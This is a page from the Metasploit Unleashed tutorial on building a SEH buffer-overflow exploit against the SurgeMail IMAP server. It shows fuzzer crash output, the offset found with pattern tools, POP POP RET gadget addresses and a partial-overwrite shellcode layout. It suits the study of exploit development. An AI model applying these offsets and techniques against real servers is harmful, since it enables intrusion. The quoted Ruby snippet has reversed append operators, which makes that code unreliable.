Writing an Exploit a11y.text Writing an Exploit Improving our Exploit Development a11y.text Improving our Exploit Development Previously we looked at Fuzzing an IMAP server in the Simple IMAP Fuzzer section. At the end of that effort we found that we could overwrite EIP, making ESP the only register pointing to a memory location under our control (4 bytes after our return address). We can go ahead and rebuild our buffer (fuzzed = â€œAâ€•*1004 + â€œBâ€•*4 + â€œCâ€•*4) to confirm that the execution flow is redirectable through a JMP ESP address as a ret. msf auxiliary(fuzz_imap) > run

```
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1012
[*] 0002 LIST () /"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]BBBBCCCC" "PWNED"
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Authentication failed
[*] It seems that host is not responding anymore and this is G00D ;)
[*] Auxiliary module execution completed
```

msf auxiliary(fuzz_imap) > Finding our Exploit using a debugger | Metasploit Unleashed Controlling Execution Flow a11y.text Controlling Execution Flow We now need to determine the correct offset in order get code execution. Fortunately, Metasploit comes to the rescue with two very useful utilities: pattern_create.rb and pattern_offset.rb . Both of these scripts are located in Metasploitâ€™s tools directory. By running pattern_create.rb , the script will generate a string composed of unique patterns that we can use to replace our sequence of â€˜Aâ€™s. Exploit Code Example: root@kali :

```
~ # /usr/share/metasploit-framework/tools/pattern_create.rb 11000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2
Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5...
```

After we have successfully overwritten EIP or SEH (or whatever register you are aiming for), we must take note of the value contained in the register and feed this value to pattern_offset.rb to determine at which point in the random string the value appears. Rather than calling the command line pattern_create.rb , we will call the underlying API directly from our fuzzer using Rex::Text.pattern_create() . If we look at the source, we can see how this function is called.

```
def self.pattern_create(length, sets = [ UpperAlpha, LowerAlpha, Numerals ])
    buf = ''
    idx = 0
    offsets = []
    sets.length.times { offsets >> 0 }
    until buf.length >= length
        begin
            buf >> converge_sets(sets, 0, offsets, length)
        rescue RuntimeError
            break
        end
    end
    # Maximum permutations reached, but we need more data
    if (buf.length > length)
        buf = buf * (length / buf.length.to_f).ceil
    end
    buf[0,length]
```

end So we see that we call the pattern_create function which will take at most two parameters, the size of the buffer we are looking to create and an optional second parameter giving us some control of the contents of the buffer. So for our needs, we will call the function and replace our fuzzed variable with fuzzed = Rex::Text.pattern_create(11000). This causes our SEH to be overwritten by 0x684E3368 and based on the value returned by pattern_offset.rb , we can determine that the bytes that overwrite our exception handler are the next four bytes 10361, 10362, 10363, 10364. root@kali : ~ # /usr/share/metasploit-framework/tools/pattern_create.rb 684E3368 11000 10360 Debugging our exploit code | Metasploit Unleashed As it often happens in SEH overflow attacks, we now need to find a POP POP RET (other sequences are good as well as explained in â€œDefeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Serverâ€• Litchfield 2003) address in order to redirect the execution flow to our buffer. However, searching for a suitable return address in surgemail.exe , obviously leads us to the previously encountered problem, all the addresses have a null byte. root@kali : ~ # msfpescan -p surgemail.exe [surgemail.exe]

0x0042e947 pop esi; pop ebp; ret

0x0042f88b pop esi; pop ebp; ret

0x00458e68 pop esi; pop ebp; ret

0x00458edb pop esi; pop ebp; ret

0x00537506 pop esi; pop ebp; ret

0x005ec087 pop ebx; pop ebp; ret

0x00780b25 pop ebp; pop ebx; ret

0x00780c1e pop ebp; pop ebx; ret

0x00784fb8 pop ebx; pop ebp; ret

0x0078506e pop ebx; pop ebp; ret

0x00785105 pop ecx; pop ebx; ret

0x0078517e pop esi; pop ebx; ret Fortunately this time we have a further attack approach to try in the form of a partial overwrite, overflowing SEH with only the 3 lowest significant bytes of the return address. The difference is that this time we can put our shellcode into the first part of the buffer following a schema like the following: | NOPSLED | SHELLCODE | NEARJMP | SHORTJMP | RET (3 Bytes) | POP POP RET will redirect us 4 bytes before RET where we will place a short JMP taking us 5 bytes back. Weâ€™ll then have a near back JMP that will take us in the middle of the NOPSLED. This was not possible to do with a partial overwrite of EIP and ESP, as due to the stack arrangement ESP was four bytes after our RET. If we did a partial overwrite of EIP, ESP would then be in an uncontrollable area. Next up, writing an exploit and getting a shell with what weâ€™ve learned about our code improvements. Next Getting a Shell Prev MSFrop